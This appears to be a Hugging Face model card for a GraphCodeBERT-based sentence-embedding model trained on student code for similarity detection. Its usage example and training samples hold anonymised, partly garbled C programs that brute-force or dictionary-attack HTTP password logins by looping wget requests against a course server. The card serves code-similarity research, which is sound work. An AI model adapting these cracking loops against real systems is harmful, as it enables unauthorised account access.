SentenceTransformer based on microsoft/graphcodebert-base

This is a sentence-transformers model finetuned from microsoft/graphcodebert-base. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

  • Model Type: Sentence Transformer
  • Base model: microsoft/graphcodebert-base
  • Maximum Sequence Length: 512 tokens
  • Output Dimensionality: 768 dimensions
  • Similarity Function: Cosine Similarity

Model Sources

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
    '#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n    \n        system("wget -p http://www.cs.rmit.edu./students");\n\n        system("cd www.cs.rmit.edu./");\n\n    \n    \n   if(flag>0)\n   {\n    \n    fin1=fopen("./watchtext/index.html","r");\n    fin2=fopen("./watchtext/test2.txt","r");\n    system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n    system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n    system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n    system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n    system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n    system("rm ./www.cs.rmit.edu./test2.txt");\n           \n    fclose(fin2);\n    fclose(fin1);   \n   }    \n  \n    if(flag==0)\n    {\n     system("mkdir watchtext");     \n     if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n     {\n      system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n      system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n      \n      flag++;\n      }\n     \n   } \n    \n  \n  \n   printf("Running every 24 hours");     \n  sleep(86400); \n  \n}\n system("rmdir ./watchtext");      \n}       \n       \n       \n       \n       \n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n  \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial  %d  ---  %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds)  find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND   --   %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial  %d  ---  %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds)  find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND   --   %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial  %d  ---  %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds)  find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND   --   %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial  %d  ---  %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds)  find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND   --   %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial  %d  ---  %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds)  find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND   --   %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial  %d  ---  %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds)  find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND   --   %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
    '#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd=    -nv  -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The  of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The  of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t  \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The  of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
#         [0.9511, 1.0000, 0.9799],
#         [0.9570, 0.9799, 1.0000]])

Training Details

Training Dataset

Unnamed Dataset

  • Size: 3,081 training samples
  • Columns: sentence_0, sentence_1, and label
  • Approximate statistics based on the first 1000 samples:
    sentence_0 sentence_1 label
    type string string int
    details
    • min: 194 tokens
    • mean: 471.45 tokens
    • max: 512 tokens
    • min: 194 tokens
    • mean: 460.74 tokens
    • max: 512 tokens
    • 0: ~99.10%
    • 1: ~0.90%
  • Samples:
    sentence_0 sentence_1 label


    #include
    #include
    #include
    #include
    #define MAX_SIZE 255



    int genchkpwd(char *chararray,char *passwd)
    {
    int i,j,k,success;
    char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];


    strcpy(str1,"wget --http-user= --http-passwd=");
    strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");
    strcpy(tempstr,"");



    for(i=0;i<52;i++)
    {
    passwd[0]= chararray[i];
    strcat(tempstr,str1);
    strcat(tempstr,passwd);
    strcat(tempstr,str2);
    printf("SENDING REQUEST AS %s\n",tempstr);
    success=system (tempstr);
    if (success==0)
    return 1;
    else
    strcpy(tempstr,"");
    strcpy(passwd,"");
    }



    for(i=0;i<52;i++)
    {
    passwd[0]= chararray[i];
    for(j=0;j<52;j++)
    {
    passwd[1]=chararray[j];
    strcat(tempstr,str1);
    strcat(tempstr,passwd);
    strcat(tempstr,str2);
    printf("SENDING REQUEST AS %s\n",tempstr);
    success=syste...
    #include
    #include
    #include
    #include
    #include
    #define OneBillion 1e9


    int ()
    { int startTime, stopTime, final;
    int i,j,k;
    int pass,count=0;
    char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};
    char [4];
    char url1[100];
    char url2[100];

    startTime = time();
    for (i=0;i<=52;i++)
    {

    for (j=0;j<=52;j++)
    {

    for(k=0;k<=52;k++)

    {
    count++;
    [0] = arr[i];
    [1] = arr[j];
    [2] = arr[k];
    [3] = '\0';


    printf("Checking for the word :%s\n",);
    strcpy(url1 ,"wget --http-user= --http-passwd=");
    strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
    strcat(url1,);
    strcat(url1,url2);


    pass = system(url1);
    if (pass == 0)
    {
    ...
    0
    #include
    #include
    #include
    #include
    #include

    ()
    {
    int i,m,k,count=0;
    FILE* diction;
    FILE* log;
    char s[30];
    char pic[30];
    char add[1000];
    char end[100];
    time_t ,finish;
    double ttime;

    strcpy(add,"wget --http-user= --http-passwd=");
    strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/");
    diction=fopen("/usr/share/lib/dict/words","r");
    =time(NULL);
    while(fgets(s,100,diction)!=NULL)
    {
    printf("%s\n",s);
    for(m=40,k=0;k<(strlen(s)-1);k++,m++)
    {
    add[m]=s[k];
    }
    add[m++]=' ';
    for(i=0;i<50;i++,m++)
    {
    add[m]=end[i];
    }
    add[m]='\0';

    system(add);
    count++;
    log=fopen("logd","r");
    fgets(pic,100,log);
    printf("%s",pic);
    if(strcmp(pic,"Authorization failed.\n")!=0)
    {
    finish=time(NULL);
    ttime=difftime(,finish);
    printf( "\n The time_var take:%f/n The of passwords tried is %d\n",ttime,count);
    break;
    }
    fclose(log);
    }

    }
    #include
    #include
    #include
    #include
    #include
    #include
    #include



    char* joinMe(char* t, char* t2)
    {
    char* result;
    int length = 0;
    int j = 0;
    int counter = 0;

    length = strlen(t) + strlen(t2) + 1;

    result = malloc(sizeof(char) * length);


    for(j = 0; j {
    result[j] = t[j];
    }


    for(j = strlen(t); j {
    result[j] = t2[counter];
    counter++;
    }


    result[length-1] = '\0';

    return result;
    }


    void check(char** smallcmd)
    {
    int pid = 0;
    int status;


    if( (pid = fork()) == 0)
    {

    execvp(smallcmd[0],smallcmd);
    }
    else
    {

    while(wait(&status) != pid);
    }
    }

    int (void)
    {
    int i = 0, j = 0, k = 0;
    char** smallcmd;
    char* [] = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w",
    "x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T",
    "U","V","W","X","Y","Z"};
    int count ...
    0

    # include
    # include
    # include
    # include
    # include

    int ()
    {

    char s[30];
    char c[100];
    char usr[50];
    char url[100];
    char charcopy[200];

    int starting,ending;
    int totaltime;

    FILE* fp;
    FILE* f;

    int i,j,k;

    fp = fopen("/usr/share/lib/dict/words","r");
    strcpy(charcopy, "wget --http-user= --http-passwd=");
    strcpy(url, "-nv -o logfile1 http://sec-crack.cs.rmit.edu./SEC/2/");

    starting=time();


    while(!feof(fp))
    {
    j=40;
    fgets(c,30,fp);


    for(i=0;i {
    charcopy[j]=c[i];
    j++;
    }
    charcopy[j-1] = ' ';

    for(i=0;i {
    charcopy[j]=url[i];
    j++;
    }

    charcopy[j] = '\0';

    printf("%s\n",c);
    system(charcopy);

    f = fopen("logfile1","r");

    if(f != (FILE*) NULL)
    {

    fgets(s,30,f);
    if(strcmp(s,"Authorization failed.\n")!=0)
    {
    ending=time();
    totaltime=ending-starti...
    #include
    #include
    #include
    #include

    #define MINSIZE 26
    #define MAXSIZE 52
    #define MAX_SIZE 255


    int CrackPasswd(char *passwd)
    {
    int flag;
    char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE];

    strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/");
    strcpy(string2," --http-user= --http-passwd='");
    strcpy(,"");

    strcat(, string1);
    strcat(, string2);
    strcat(, passwd);
    strcat(, "'");
    printf("Sending Request as %s\n",);
    flag = system();

    if (flag == 0)
    {
    printf("\nPassword is %s\n",passwd);
    return 1;
    }

    strcpy(,"");
    return 0;
    }


    int BruteForce(char *CharArray)
    {
    int i, j, k;
    char passwd[MAX_SIZE];

    for (i=0;i passwd[i] = '\0';

    for(i=0;i {
    passwd[0] = CharArray[i];
    if(CrackPasswd(passwd) == 1)
    return 1;
    }

    for(i=0;i {
    passwd[0] = CharArray[i];
    ...
    0
  • Loss: BatchAllTripletLoss

Training Hyperparameters

Non-Default Hyperparameters

  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • num_train_epochs: 1
  • fp16: True
  • multi_dataset_batch_sampler: round_robin

All Hyperparameters

Click to expand
  • overwrite_output_dir: False
  • do_predict: False
  • eval_strategy: no
  • prediction_loss_only: True
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • per_gpu_train_batch_size: None
  • per_gpu_eval_batch_size: None
  • gradient_accumulation_steps: 1
  • eval_accumulation_steps: None
  • torch_empty_cache_steps: None
  • learning_rate: 5e-05
  • weight_decay: 0.0
  • adam_beta1: 0.9
  • adam_beta2: 0.999
  • adam_epsilon: 1e-08
  • max_grad_norm: 1
  • num_train_epochs: 1
  • max_steps: -1
  • lr_scheduler_type: linear
  • lr_scheduler_kwargs: {}
  • warmup_ratio: 0.0
  • warmup_steps: 0
  • log_level: passive
  • log_level_replica: warning
  • log_on_each_node: True
  • logging_nan_inf_filter: True
  • save_safetensors: True
  • save_on_each_node: False
  • save_only_model: False
  • restore_callback_states_from_checkpoint: False
  • no_cuda: False
  • use_cpu: False
  • use_mps_device: False
  • seed: 42
  • data_seed: None
  • jit_mode_eval: False
  • use_ipex: False
  • bf16: False
  • fp16: True
  • fp16_opt_level: O1
  • half_precision_backend: auto
  • bf16_full_eval: False
  • fp16_full_eval: False
  • tf32: None
  • local_rank: 0
  • ddp_backend: None
  • tpu_num_cores: None
  • tpu_metrics_debug: False
  • debug: []
  • dataloader_drop_last: False
  • dataloader_num_workers: 0
  • dataloader_prefetch_factor: None
  • past_index: -1
  • disable_tqdm: False
  • remove_unused_columns: True
  • label_names: None
  • load_best_model_at_end: False
  • ignore_data_skip: False
  • fsdp: []
  • fsdp_min_num_params: 0
  • fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
  • fsdp_transformer_layer_cls_to_wrap: None
  • accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
  • deepspeed: None
  • label_smoothing_factor: 0.0
  • optim: adamw_torch
  • optim_args: None
  • adafactor: False
  • group_by_length: False
  • length_column_name: length
  • ddp_find_unused_parameters: None
  • ddp_bucket_cap_mb: None
  • ddp_broadcast_buffers: False
  • dataloader_pin_memory: True
  • dataloader_persistent_workers: False
  • skip_memory_metrics: True
  • use_legacy_prediction_loop: False
  • push_to_hub: False
  • resume_from_checkpoint: None
  • hub_model_id: None
  • hub_strategy: every_save
  • hub_private_repo: None
  • hub_always_push: False
  • gradient_checkpointing: False
  • gradient_checkpointing_kwargs: None
  • include_inputs_for_metrics: False
  • include_for_metrics: []
  • eval_do_concat_batches: True
  • fp16_backend: auto
  • push_to_hub_model_id: None
  • push_to_hub_organization: None
  • mp_parameters:
  • auto_find_batch_size: False
  • full_determinism: False
  • torchdynamo: None
  • ray_scope: last
  • ddp_timeout: 1800
  • torch_compile: False
  • torch_compile_backend: None
  • torch_compile_mode: None
  • include_tokens_per_second: False
  • include_num_input_tokens_seen: False
  • neftune_noise_alpha: None
  • optim_target_modules: None
  • batch_eval_metrics: False
  • eval_on_start: False
  • use_liger_kernel: False
  • eval_use_gather_object: False
  • average_tokens_across_devices: False
  • prompts: None
  • batch_sampler: batch_sampler
  • multi_dataset_batch_sampler: round_robin
  • router_mapping: {}
  • learning_rate_mapping: {}

Framework Versions

  • Python: 3.11.13
  • Sentence Transformers: 5.0.0
  • Transformers: 4.52.4
  • PyTorch: 2.6.0+cu124
  • Accelerate: 1.8.1
  • Datasets: 3.6.0
  • Tokenizers: 0.21.2

Citation

BibTeX

Sentence Transformers

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

BatchAllTripletLoss

@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}
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